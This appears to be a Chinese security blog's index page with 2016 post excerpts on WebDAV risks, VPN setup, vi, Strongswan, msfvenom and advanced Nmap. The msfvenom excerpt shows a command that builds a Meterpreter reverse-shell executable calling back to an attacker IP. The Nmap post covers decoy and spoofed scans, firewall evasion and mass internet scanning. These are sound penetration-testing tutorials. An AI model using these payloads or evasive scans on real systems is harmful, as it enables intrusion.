Webdav安全配置相关与漏洞利用

0x00 简介 WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。 使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。 IIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。 但因为其没有采用影射的方式,所以IIS的主程序w3svc.dll本身包含了Webdav的信息。 其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。 对于常见几种请求方法 GET、HEAD、POST 等,因为常见一些映射都支持。 所以不能以请求方法作为Webdav请求的判断,w3svc.dll就根据请求头的字段识别。 如果请求头里面包含 Translate:、 If:、 Lock-Token: 中的一种,就认为是Webdav的请求。 Translate: 就是那个 Translate:f 的泄露源代码的一个请求头,其实设置别的两个也是一样的。 可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法 TRACK、 TRACE 等。 TRACK 就是用于调试错误的,如果收到这样的请求头,w3svc.dll会原样返回请求数据。 相当于我们常见的ping.exe。 IIS对 TRACK 请求没有进行LOG记录,这点我们可以用于来获得banner。 对于IIS将优于大家习惯使用的 HEAD。 如果上面的请求方法没匹配,那么w3svc.dll就会认为是Webdav的请求,交给httpext.dll处理了。 这些请求包含Webdav支持的 PROPFIND、 PROPPATCH、 MKCOL、 DELETE、 PUT、 COPY、 MOVE、 LOCK、 UNLOCK 等。 0x01 配置 为了安全上的考虑,IIS默认并不会启动WebDAV的功能,因此必须另外来激活它。 通过启动“IIS管理器”,展开本地计算机,选择“Web服务扩展”,选择“允许”的途径来启动WebDAV功能。 开启WebDAV之后,IIS就支持 PROPFIND、 PROPPATCH、 MKCOL、 DELETE、 PUT、 COPY、 MOVE、 LOCK、 UNLOCK 等方法了。 当IIS中的配置允许写入的时候就可以直接PUT文件上去,由此可能引发非常严重的安全问题,强烈建议禁制 ...

2016年9月12日 · 1 分钟 · lucien116

一键搭建适用于Ubuntu/CentOS的IKEV2/L2TP的VPN

使用bash脚本一键搭建Ikev2的vpn服务端. 特性 服务端要求:Ubuntu或者CentOS-6.* 客户端: iOS/OSX=>ikev1,ikev2 Andriod=>ikev1 WindowsPhone=>ikev2 其他Windows平台=>ikev2 可使用自己的私钥和根证书,也可自动生成 证书可绑定域名或ip 要是图方便可一路回车 最近更新 使用新版strongswan(5.3.5),编译参数修改; 优化iptables包处理; 添加接口判断选择; 加入对iOS9的ikev2支持; DH组修改为2048,解决iOS9设备8分钟断开的问题; 服务端安装说明 下载脚本: wget --no-check-certificate https://raw.githubusercontent.com/quericy/one-key-ikev2-vpn/master/one-key-ikev2.sh 注:如需使用其他分支的脚本,请将上述url中的master修改为分支名称,各分支区别详见本页的 分支说明 节点 运行( 如果有需要使用自己的根证书请将私钥命名为ca.pem,将根证书命名为ca.cert.pem,放到脚本的相同目录下再运行该脚本): chmod +x one-key-ikev2.sh bash one-key-ikev2.sh 等待自动配置部分内容后,选择vps类型(OpenVZ还是Xen、KVM), 选错将无法成功连接,请务必核实服务器的类型。输入服务器ip或者绑定的域名(连接vpn时服务器地址将需要与此保持一致),以及证书的相关信息(C,O,CN),为空将使用默认值(default value),确认无误后按任意键继续 是否使用SNAT规则(可选).使用前请确保服务器具有不变的 静态公网ip,可提升防火墙对数据包的处理速度.默认为不使用. 补充网卡接口信息,为空则使用默认值(Xen、KVM默认使用eth0,OpenVZ默认使用venet0).如果服务器使用其他公网接口需要在此指定接口名称,否则连接后可能无法访问外网) 输入两次pkcs12证书的密码(可以为空) 看到install Complete字样即表示安装完成。默认用户名密码将以黄字显示,可根据提示自行修改配置文件中的用户名密码,多用户则在配置文件中按格式一行一个(多用户时用户名不能使用%any),保存并重启服务生效。 将提示信息中的证书文件ca.cert.pem拷贝到客户端,修改后缀名为.cer后导入。ios设备使用Ikev1无需导入证书,而是需要在连接时输入共享密钥,共享密钥即是提示信息中的黄字PSK. 客户端配置说明: 连接的服务器地址和证书保持一致,即取决于签发证书ca.cert.pem时使用的是ip还是域名; Android/iOS/OSX 可使用ikeV1,认证方式为用户名+密码+预共享密钥(PSK); iOS/OSX/Windows7+/WindowsPhone8.1+/Linux 均可使用IkeV2,认证方式为用户名+密码,均需要先导入证书,可将ca.cert.pem更改后缀名作为邮件附件发送给客户端,手机端也可通过浏览器导入,其中: iOS/OSX 的远程ID和服务器地址保持一致,用户鉴定选择"用户名".如果通过浏览器导入,将证书放在可访问的远程外链上,并在 系统浏览器(Safari)中访问外链地址; Windows PC 系统导入证书需要导入到 “本地计算机” 的"受信任的根证书颁发机构",以"当前用户"的导入方式是无效的.推荐运行mmc添加本地计算机的证书管理单元来操作; WindowsPhone8.1 登录时的用户名需要带上域信息,即wp"关于"页面的设备名称\用户名,也可以使用%any %any : EAP “密码"进行任意用户名登录,但指定了就不能添加其他用户名了. WindowsPhone10的vpn还存在bug(截至10586.164),ikeV2方式可连接但系统流量不会走vpn,只能等微软解决. (截至14393.5 ,此bug已经得到修复,现在WP10已经可以正常使用IkeV2.) Windows10 也存在此bug,部分Win10系统连接后ip不变,没有自动添加路由表,使用以下方法可解决(本方法由 bigbigfish 童鞋提供): ...

2016年9月3日 · 1 分钟 · lucien116

linux下vi操作Found a swap file by the name

当我在linux下用vi打开Test.java文件时 [root@localhost tmp]# vi Test.java 会出现如下信息: Dos代码 E325: ATTENTION Found a swap file by the name “.Test.java.swp” owned by: root dated: Wed Dec 713:52:562011 file name: /var/tmp/Test.java modified: YES user name: root host name: localhost process ID: 26153 (still running) While opening file “Test.java” dated: Wed Dec 714:00:462011 NEWER than swap file! (1) Another program may be editing the same file. If this is the case, be careful not to end up with two different instances of the same file when making changes. Quit, or continue with caution. (2) An edit session for this file crashed. If this is the case, use “:recover” or “vim -r Test.java” to recover the changes (see “:help recovery”). If you did this already, delete the swap file “.Test.java.swp” to avoid this message. “Test.java” 11L, 237C Press ENTER or type command to continue 原因是我之前有一次使用vi 操作Test.java文件时出现了异常中断,所以在当前目录下产生了一个.Test.java.swp文件 ...

2016年9月3日 · 1 分钟 · lucien116

使用Strongswan架设Ipsec VPN

本教学介绍了如何使用 Strongswan 5.0.x 在 openSUSE 12.3+ 服务器上架设支持 ikev1/ikev2 的 Ipsec VPN。适用于 openSUSE、iOS、Android、Windows 和其它 Linux。 注意 Strongswan 5 即现在的主力支持版本和 Strongswan 4 的 ipsec.conf 有很大的不同(作废了很多选项),请保证您的版本为 5.0.4+ 本教学才有参考价值。因此请不要往 Debian 这些软件包版本旧的系统上套,同样 openSUSE 用户也不要拿 Debian 的来套。 注意 本文的例子仅以最常见的 VPS/客户机模式为例,假设客户机使用图形客户端,因此并不涉及客户端文本配置的内容。其中的原理和服务器端配置可用于其它用途比如服务器到服务器(Site to Site)的连接,但这种连接的客户端文本配置部分需要领会原理自己写。 注意 本文只适用于有 VPS 的爱好者使用,并不提供已建立好的 demo 供测试,但保证文中出现的配置如无意外如上游改选项,实际中都是能够使用的。因此并不可用于「免费 VPN」这样的话题,如何优惠购买 VPS 请到我们的论坛 forum.suse.org.cn。本文也不讨论如何进行后台计费,但提供了计费软件的名称供 VPN 服务商参考,因此只适用于小团体的共用。如果小群体产生流量纠纷而需区分账户,那解散才是治本的方法,其它都只能治标。 目录 [ 隐藏] 1什么是 IPsec? 2设备/操作系统规格 2.1Linux 2.2Android 2.3iOS/Mac OS X 2.4Windows 3安装 Srongswan 4生成证书(可选) 4.1生成 CA 证书 4.2生成服务器证书 4.3生成客户端证书 4.4生成 pkcs12 证书(可选) 5安装证书 6配置 Strongswan 6.1ipsec.conf 6.2ipsec.secrets 6.3strongswan.conf 7启动 Strongswan 8配置 Iptables 转发 9openSUSE 客户端配置 10其它客户端配置 10.1其它 Linux 10.1.1Chakra Linux 10.2iOS 10.3Android 10.3.1IPSec Xauth PSK 10.3.2"strongSwan VPN Client" for Android 4.0 (ICS)+ 10.4Windows XP/Vista 10.4.1使用 Shrew Soft VPN Client 10.5Windows 7+ 11调试 11.1日志阅读技巧 11.2服务器端调试 11.3Linux 调试 11.4iOS 调试 11.5Android 调试 11.6Windows 调试 12扩展阅读 12.1计费软件 13参考文献 14作者 什么是 IPsec? IPsec 是 虚拟私密网络(VPN) 的一种,用于在服务器和客户端之间建立加密隧道并传输敏感数据之用。它由两个阶段组成,第一阶段(Phrase 1, ph1),交换金钥建立连接,使用互联网金钥交换(ike)协议; 第二阶段(Phrase 2, ph2),连接建立后对数据进行加密传输,使用封装安全载荷(esp)协议。参考: 维基百科 IPsec 词条。 ...

2016年9月3日 · 10 分钟 · lucien116

Meatsploit Framework msfvenom使用简介

2015年6月8日,Wei Chen在rapid7官方博客上发文,将于近期 移除metasploit-framework版本中的msfencoder和msfpayload, 并使用msfvenom取代。官方的msfvenom使用说明 戳 这里 ,下面给出翻译的使用说明。 最近一次更新的msf中已经去掉了这两个工具,同时,msfcli也即将被移除。 kali和BT目前使用的MSF依然是旧版,所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋,可能已经发现这个东西了。 msfvenom命令行选项如下: Options: -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039; -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 生成payload 生成payload,有有两个必须的选项:-p -f 使用-p 来指定要使用的payload。 可以使用下面的命令来查看所有msf可用的payload列表 ./msfvenom -l payloads -p选项也支持使用使用自定义的payload,需要使用 “-",比如: cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw 使用-f 来指定payload的输出格式 举例: ./msfvenom -p windows/meterpreter/bind_tcp -f exe 使用下面的命令,可以产看msf支持的输出格式 ./msfvenom --help-formats 一个典型的msfvenom使用举例如下: $ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker&#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe 对payload进行编码 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。 其他情况下,你需要使用-e选项来使用编码模块,例如: ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 可以使用下面的命令,来查看可用的编码器 ...

2016年8月24日 · 1 分钟 · lucien116

Nmap在实战中的高级用法

Nmap提供了四项基本功能(主机发现、端口扫描、服务与版本侦测、OS侦测)及丰富的脚本库。Nmap既能应用于简单的网络信息扫描,也能用在高级、复杂、特定的环境中:例如扫描互联网上大量的主机;绕开防火墙/IDS/IPS;扫描Web站点;扫描路由器等等。简要回顾Nmap简单的扫描方式: 1 2 3 4 5 6 7 8 9 全面扫描:nmap-T4-Atargetip 主机发现:nmap-T4-sn targetip 端口扫描:nmap-T4 targetip 服务扫描:nmap-T4-sV targetip 操作系统扫描:nmap-T4-Otargetip 上述的扫描方式能满足一般的信息搜集需求。而若想利用Nmap探索出特定的场景中更详细的信息,则需仔细地设计Nmap命令行参数,以便精确地控制Nmap的扫描行为。 下面列举比较实用的高级应用场景和技巧。 1 Nmap高级选项 1.1 查看本地路由与接口 Nmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时,可以查看nmap –iflist中提供的网络接口信息。 nmap –iflist 1.2 指定网口与IP地址 在Nmap可指定用哪个网口发送数据,-e 选项。接口的详细信息可以参考–iflist选项输出结果。 示例: nmap -e eth0 targetip Nmap也可以显式地指定发送的源端IP地址。使用-S 选项,nmap将用指定的spoofip作为源端IP来发送探测包。 另外可以使用Decoy(诱骗)方式来掩盖真实的扫描地址,例如-D ip1,ip2,ip3,ip4,ME,这样就会产生多个虚假的ip同时对目标机进行探测,其中ME代表本机的真实地址,这样对方的防火墙不容易识别出是扫描者的身份。 nmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME 192.168.1.1 1.3 定制探测包 Nmap提供–scanflags选项,用户可以对需要发送的TCP探测包的标志位进行完全的控制。可以使用数字或符号指定TCP标志位:URG, ACK, PSH,RST, SYN,and FIN。 例如, nmap -sX -T4 –scanflags URGACKPSHRSTSYNFINtargetip 此命令设置全部的TCP标志位为1,可以用于某些特殊场景的探测。 另外使用–ip-options可以定制IP包的options字段。 使用-S指定虚假的IP地址,-D指定一组诱骗IP地址(ME代表真实地址)。-e指定发送探测包的网络接口,-g(–source- port)指定源端口,-f指定使用IP分片方式发送探测包,–spoof-mac指定使用欺骗的MAC地址。–ttl指定生存时间。 2 扫描防火墙 防火墙在今天网络安全中扮演着重要的角色,如果能对防火墙系统进行详细的探测,那么绕开防火墙或渗透防火墙就更加容易。所以,此处讲解利用Nmap获取防火墙基本信息典型的用法。 为了获取防火墙全面的信息,需尽可能多地结合不同扫描方式来探测其状态。在设计命令行参数时,可以综合网络环境来微调时序参数,以便加快扫描速度。 SYN扫描 首先可以利用基本的SYN扫描方式探测其端口开放状态。 nmap -sS -T4 www.lucien116.com 扫描输出为: 1 2 3 4 5 6 7 8 9 All997ports are filtered PORT STATE SERVICE 80/tcp open http 113/tcp closed auth 507/tcp open crs 我们可以看到SYN方式探测到3个端口开放,而有997个端口被过滤。Nmap默认扫描只扫描1000个最可能开放的端口,如果想扫描全部的端口. 使用命令nmap -sS -T4 -p- www.lucien116.com FIN扫描 然后可以利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭,收到RST回复说明该端口关闭,否则说明是open或filtered状态。 nmap -sF -T4 www.lucien116.com 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 PORT STATE SERVICE 7/tcp open|filtered echo 9/tcp open|filtered discard 11/tcp open|filtered systat 13/tcp open|filtered daytime 23/tcp open|filtered telnet 25/tcp open|filtered smtp 37/tcp open|filtered time 79/tcp open|filtered finger 80/tcp open|filtered http 更多端口,此处省略 ACK扫描 然后利用ACK扫描判断端口是否被过滤。针对ACK探测包,未被过滤的端口(无论打开、关闭)会回复RST包。 nmap -sA -T4 www.lucien116.com 扫描输出为: 1 2 3 4 5 6 7 8 9 Notshown:997unfiltered ports PORT STATE SERVICE 135/tcp filtered msrpc 1434/tcp filtered ms-sql-m 32777/tcp filtered sometimes-rpc17 从结果可以997个端口是未被过滤的(unfiltered),而3个(135/1434/32777)被过滤了。所以,将ACK与FIN扫描 的结果结合分析,我们可以找到很多开放的端口。例如7号端口,FIN中得出的状态是:open或filtered,从ACK中得出的状态是 unfiltered,那么该端口只能是open的。 Window扫描 当然也可以利用Window扫描方式,得出一些端口信息,可以与之前扫描分析的结果相互补充。Window扫描方式只对某些TCPIP协议栈才有效。 window扫描原理与ACK类似,发送ACK包探测目标端口,对回复的RST包中的Window size进行解析。在某些TCPIP协议栈实现中,关闭的端口在RST中会将Window size设置为0;而开放的端口将Window size设置成非0的值。 nmap -sW -p- -T4 www.lucien116.com 输出结果: 1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE 7/tcp open echo 9/tcp open discard 11/tcp open systat 13/tcp open daytime 更多端口,此处省略 在采用多种方式获取出防火墙状态后,可以进一步进行应用程序与版本侦测及OS侦测。 3 扫描路由器 Nmap内部维护了一份系统与设备的数据库(nmap-os-db),能够识别数千种不同系统与设备。所以,可以用来扫描主流的路由器设备。 3.1 扫描思科路由器 nmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16 思科路由器会在上述端口中运行了常见的服务。列举出上述端口开放的主机,可以定位到路由器设备可能的IP地址及端口状态。 3.2 扫描路由器TFTP nmap –sU –p69 –nvv target 大多数的路由器都支持TFTP协议(简单文件传输协议),该协议常用于备份和恢复路由器的配置文件,运行在UDP 69端口上。使用上述命令可以探测出路由器是否开放TFTP。 3.3 扫描路由器操作系统 与通用PC扫描方式类似,使用-O选项扫描路由器的操作系统。-F用于快速扫描最可能开放的100个端口,并根据端口扫描结果进一步做OS的指纹分析。 nmap -O -F -n 192.168.1.1 4 扫描互联网 Nmap内部的设计非常强大灵活,既能扫描单个主机、小型的局域网,也可以扫描成千上万台主机从中发掘用户关注的信息。扫描大量主机,需要对扫描时序等参数进行仔细的优化。 4.1 发现互联网上web服务器 nmap -iR 100000 -sS -PS80 -p 80 -oG nmap.txt 随机地产生10万个IP地址,对其80端口进行扫描。将扫描结果以greppable(可用grep命令提取)格式输出到nmap.txt文件。 可以使用grep命令从输出文件提取关心的细节信息。 4.2 统计互联网主机基本数据 Nmap的创始人Fyodor在2008年的Black Hat大会发表一篇演讲,讲的是如何使用Nmap来扫描互联网(Nmap: Scanning the Internet),资料地址: http://nmap.org/presentations/BHDC08/。 Fyodor进行互联网扫描的初衷是统计出网络经验数据并用之优化Nmap的性能。例如,根据统计出每个端口开放的概率,优先扫描常见端口,以节省用户的时间。 产生随机IP地址 产生100万个随机的IP地址,并将之保存到文件中,方便后续扫描时作为参数输入。 nmap -iR 1200000 -sL -n | grep “not scanned” | awk ‘{print $2}’ | sort -n | uniq >! tp; head -25000000 tp >! tcp-allports-1M-IPs; rm tp 上述命令含义:随机生成1200000个IP地址(-iR 120000),并进行列表扫描(-sL,列举出IP地址,不进行真正的扫描),不进行dns解析操作(-n),这样将产生Nmap列表扫描的结果。在此 结果中搜出未扫描的行(grep “not scanned”),打印出每一行的第二列内容(awk ‘{print $2}’,也就是IP地址),然后对获取到的IP地址进行排序(sort -n),然后剔除重复IP地址,将结果保存到临时文件tp,再取出前1000000个IP地址保存到tcp-allports-1M-IPs文件中,删除 临时文件。 总之,此处产生了1000000个随机IP地址存放在tcp-allports-1M-IPs文件中。 优化主机发现 nmap -sP -PE -PP -PS21,22,23,25,80,113,31339-PA80,113,443,10042 –source-port 53 -T4 -iL tcp-allports-1M-IPs 上述命令进行主机发现:使用产生的IP地址(-iL tcp-allports-1M-IPs),指定发送包的源端口为53(–source-port 53,该端口是DNS查询端口,一般的防火墙都允许来自此端口的数据包),时序级别为4(-T4,探测速度比较快),以TCP SYN包方式探测目标机的21,22,23,25,80,113,31339端口,以TCP ACK包方式探测对方80,113,443,10042端口,另外也发送ICMP ECHO/ICMP TIMESTAMP包探测对方主机。只要上述的探测包中得到一个回复,就可以证明目标主机在线。 完整的扫描命令 在准备了必要的IP地址文件,并对主机发现参数优化后,我们就得到最终的扫描命令: nmap -S [srcip] -d –max-scan-delay 10 -oAlogs/tcp-allports-%T-%D -iL tcp-allports-1M-IPs –max-retries 1–randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 –min-hostgroup 256 –min-rate175 –max-rate 300 上述命令用于扫描互联网上100万台主机全部的TCP端口的开放情况。 使用包含100万个IP地址的文件(-iL tcp-allports-1M-IPs),源端IP地址设置为srcip(指定一个IP地址,保证该IP地址位于统一局域网中,否则无法收到目标机的回 复包),主机发现过程使用TCP SYN包探测目标机的21,22,23,25,53,80,443,扫描过程将随机打乱主机顺序(–randomize-hosts,因为文件中的IP 已经排序,这里将之打乱,避免被防火墙检查出),端口扫描过程检查全部的TCP端口(-p-,端口1到65535),使用时序级别为4(-T4,速度比较 快),将结果以XML/grepable/普通格式输出到文件中(-oA logs/tcp-allports-%T-%D,其中%T表示扫描时间,%D表示扫描日期)。 -d表示打印调试出信息。 –max-scan-delay 10表示发包最多延时10秒,防止特殊情景下等待过长的时间。 –max-retries 1,表示端口扫描探测包最多被重传一次,防止Nmap在没有收到回复的情况下多次重传探测包,当然这样也会降低探测的准确性。 –min-host-group 256表示进行端口扫描与版本侦测时,同时进行探测的主机的数量,这里至少256个主机一组来进行扫描,可以加快扫描速度。 –min-rate 175和–max-rate 300,表示发包速率介于175和300之间,保证扫描速度不会太慢,也不会因为速率过高引起目标机的警觉。 扫描结果 Fyodor组织的此次扫描得出很多重要结论,统计出了互联网最有可能开放的10个TCP端口。 80 (http) 23 (telnet) 22 (ssh) 443 (https) 3389 (ms-term-serv) 445 (microsoft-ds) 139 (netbios-ssn) 21 (ftp) 135 (msrpc) 25 (smtp) 最有可能开放的10个UDP端口。 137 (netbios-ns) 161 (snmp) 1434 (ms-sql-m) 123 (ntp) 138 (netbios-dgm) 445 (microsoft-ds) 135 (msrpc) 67 (dhcps) 139 (netbios-ssn) 53 (domain) 5 扫描Web站点 Web是互联网上最广泛的应用,而且越来越多的服务倾向于以Web形式提供出来,所以对Web安全监管也越来越重要。目前安全领域有很多专门的 Web扫描软件(如AppScan、WebInspect、W3AF),能够提供端口扫描、漏洞扫描、漏洞利用、分析报表等诸多功能。而Nmap作为一款 开源的端口扫描器,对Web扫描方面支持也越来越强大,可以完成Web基本的信息探测:服务器版本、支持的Method、是否包含典型漏洞。功能已经远远 超过同领域的其他开源软件,如HTTPrint、Httsquash。 目前Nmap中对Web的支持主要通过Lua脚本来实现,NSE脚本库中共有50多个HTTP相关的脚本。 扫描实例: nmap -sV -p 80 -T4 –script http*,defaultscanme.nmap.org 上面以扫描scanme.nmap.org的Web应用展示Nmap提供Web扫描能力,从图中可以看到扫描结果中提供了比较丰富的信息。 首先是应用程序及版本: Apachehttpd 2.2.14 (Ubuntu) 然后搜出了该站点的affiliate-id:该ID可用于识别同一拥有者的不同页面。 然后输出HTTP-headers信息,从中查看到基本配置信息。 从http-title中,可以看到网页标题。某些网页标题可能会泄漏重要信息,所以这里也应对其检查。

2016年8月24日 · 3 分钟 · lucien116

Ubuntu中启用关闭Network-manager网络设置问题

【Server版本】 在UbuntuServer版本中,因为只存有命令行模式,所以要想进行网络参数设置,只能通过修改/etc/network/interfaces。具体设置方法如下: (1) UbuntuServer 修改 IP地址 打开/etc/network/interfaces sudo vim/etc/network/interfaces 加入以下语句: auto eth0 iface eth0inet static addressxxx.xxx.xxx.xxx #IP地址 netmaskxxx.xxx.xxx.xxx #子网掩码 gatewayxxx.xxx.xxx.xxx #网关 (2) UbuntuServer 修改 DNS 打开/etc/resolv.conf sudo vim/etc/resolv.conf 改为如下内容: searchlocaldomain #如果本Server为DNS服务器,可以加上这一句,如果不是,可以不加 nameserver172.16.3.4 #希望修改成的DNS nameserver172.16.3.3 #希望修改成的DNS (3) UbuntuServer 最后一步,也是最重要的一步 在rc.local里加入这个重启网络配置的命令: sudo/etc/init.d/networking restart 【Desktop版本】 在Desktop版本中,除了可以修改/etc/network/interfaces来进行配置以外;还可以直接在network-manager中配置。通过 interfaces修改的方法参照Server版本。network-manager的配置和直观,按照提示一步一步操作即可,有兴趣的朋友,可以自行Google或者Baidu。 但如果修改了interfaces,又配置了network-manager(以下简称nm),你就会发现出现了一些莫名其妙的问题: 1,interfaces和 nm中的网络设置不一样,系统实际的IP是哪个? 2,有时候莫名其妙的,界面右上角的网络连接图标就丢失了。 3,明明在nm中配置了正确的网络设置,为什么就上不了网呢? 其实,我们要知道 interfaces和 nm之间的关系,这些问题就不难解释了。 首先,当系统内没有第三方网络管理工具(比如nm)时,系统默认使用interfaces文件内的参数进行网络配置。(就像Server版本一样) 接着,当系统内安装了 nm之后,nm默认接管了系统的网络配置,使用nm 自己的网络配置参数来进行配置。 但是,如果用户在安装nm之后(Desktop版本默认安装了nm),自己手动修改了interfaces 文件,那nm 就自动停止对系统网络的管理,系统改使用interfaces 文件内的参数进行网络配置。 此时,再去修改nm 内的参数,不影响系统实际的网络配置。若要让nm 内的配置生效,必须重新启用nm 接管系统的网络配置。 现在知道了两者之间的工作关系,再看上面的三个问题: 1,要看nm是否接管,如果没有接管,系统实际的IP设置以interfaces 中的为准。反之,以nm 中的为准。 2,当nm 停止接管的时候,网络连接图标就丢失了。 3,同样是接管的问题。 如果用户希望在Desktop版本中,直接使用interfaces 进行网络配置,那最好删除network-manager 。 如果在出现上述问题之后,希望能继续使用nm 来进行网络配置,则需要进行如下操作: sudo servicenetwork-manager stop # 停止 nm服务 sudo rm/var/lib/NetworkManager/NetworkManager.state # 移除nm 的状态文件 sudo gedit/etc/NetworkManager/nm-system-settings.conf # 打开nm 的配置文件 ##里面有一行:managed=true ## 如果你手工改过/etc/network/interfaces,nm会自己把这行改成:managed=false ## 将false 修改成true sudo servicenetwork-manager start

2016年8月18日 · 1 分钟 · lucien116